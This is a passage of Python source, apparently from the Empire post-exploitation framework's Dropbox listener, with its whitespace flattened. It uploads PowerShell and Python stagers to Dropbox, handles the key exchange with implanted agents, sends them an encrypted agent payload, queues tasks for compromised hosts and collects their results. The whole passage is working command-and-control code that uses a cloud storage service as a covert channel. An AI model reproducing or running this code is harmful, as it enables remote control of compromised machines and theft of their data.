Dropbox folder '%s' already exists" % (taskingsFolder), sender="listeners/dropbox") try: dbx.files_create_folder(resultsFolder) except dropbox.exceptions.ApiError: dispatcher.send("[*] Dropbox folder '%s' already exists" % (resultsFolder), sender="listeners/dropbox") # upload the stager.ps1 code stagerCodeps = self.generate_stager(listenerOptions=listenerOptions, language='powershell') stagerCodepy = self.generate_stager(listenerOptions=listenerOptions, language='python') try: # delete stager if it exists delete_file(dbx, "%s/debugps" % (stagingFolder)) delete_file(dbx, "%s/debugpy" % (stagingFolder)) dbx.files_upload(stagerCodeps, "%s/debugps" % (stagingFolder)) dbx.files_upload(stagerCodepy, "%s/debugpy" % (stagingFolder)) except dropbox.exceptions.ApiError: print helpers.color("[!] Error uploading stager to '%s/stager'" % (stagingFolder)) return while True: time.sleep(int(pollInterval)) # search for anything in /Empire/staging/* for match in dbx.files_search(stagingFolder, "*.txt").matches: fileName = str(match.metadata.path_display) relName = fileName.split('/')[-1][:-4] sessionID, stage = relName.split('_') sessionID = sessionID.upper() if '_' in relName: if stage == '1': try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send( "[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue stageData = res.content dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, stageData, listenerOptions) if dataResults and len(dataResults) > 0: for (language, results) in dataResults: # TODO: more error checking try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send( "[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") try: stageName = "%s/%s_2.txt" % (stagingFolder, sessionID) dispatcher.send( "[*] Uploading key negotiation part 2 to %s for %s" % (stageName, sessionID), sender='listeners/dbx') dbx.files_upload(results, stageName) except dropbox.exceptions.ApiError: dispatcher.send( "[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") if stage == '3': try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send( "[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue stageData = res.content dataResults = self.mainMenu.agents.handle_agent_data( stagingKey, stageData, listenerOptions) if dataResults and len(dataResults) > 0: # print "dataResults:",dataResults for (language, results) in dataResults: if results.startswith('STAGE2'): sessionKey = self.mainMenu.agents.agents[ sessionID]['sessionKey'] dispatcher.send( "[*] Sending agent (stage 2) to %s through Dropbox" % (sessionID), sender='listeners/dbx') try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send( "[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") try: fileName2 = fileName.replace( "%s_3.txt" % (sessionID), "%s_2.txt" % (sessionID)) dbx.files_delete(fileName2) except dropbox.exceptions.ApiError: dispatcher.send( "[!] Error deleting data at '%s'" % (fileName2), sender="listeners/dropbox") # step 6 of negotiation -> server sends patched agent.ps1/agent.py agentCode = self.generate_agent( language=language, listenerOptions=listenerOptions) returnResults = encryption.aes_encrypt_then_hmac( sessionKey, agentCode) try: stageName = "%s/%s_4.txt" % ( stagingFolder, sessionID) dispatcher.send( "[*] Uploading key negotiation part 4 (agent) to %s for %s" % (stageName, sessionID), sender='listeners/dbx') dbx.files_upload( returnResults, stageName) except dropbox.exceptions.ApiError: dispatcher.send( "[!] Error uploading data to '%s'" % (stageName), sender="listeners/dropbox") # get any taskings applicable for agents linked to this listener sessionIDs = self.mainMenu.agents.get_agents_for_listener( listenerName) for sessionID in sessionIDs: taskingData = self.mainMenu.agents.handle_agent_request( sessionID, 'powershell', stagingKey) if taskingData: try: taskingFile = "%s/%s.txt" % (taskingsFolder, sessionID) # if the tasking file still exists, download/append + upload again existingData = None try: md, res = dbx.files_download(taskingFile) existingData = res.content except: existingData = None if existingData: taskingData = taskingData + existingData dispatcher.send( "[*] Uploading agent tasks for %s to %s" % (sessionID, taskingFile), sender='listeners/dbx') dbx.files_upload( taskingData, taskingFile, mode=dropbox.files.WriteMode.overwrite) except dropbox.exceptions.ApiError as e: dispatcher.send( "[!] Error uploading agent tasks for %s to %s : %s" % (sessionID, taskingFile, e), sender="listeners/dropbox") # check for any results returned for match in dbx.files_search(resultsFolder, "*.txt").matches: fileName = str(match.metadata.path_display) sessionID = fileName.split('/')[-1][:-4] dispatcher.send("[*] Downloading data for '%s' from %s" % (sessionID, fileName), sender="listeners/dropbox") try: md, res = dbx.files_download(fileName) except dropbox.exceptions.HttpError as err: dispatcher.send("[!] Error download data from '%s' : %s" % (fileName, err), sender="listeners/dropbox") continue responseData = res.content try: dbx.files_delete(fileName) except dropbox.exceptions.ApiError: dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox") self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)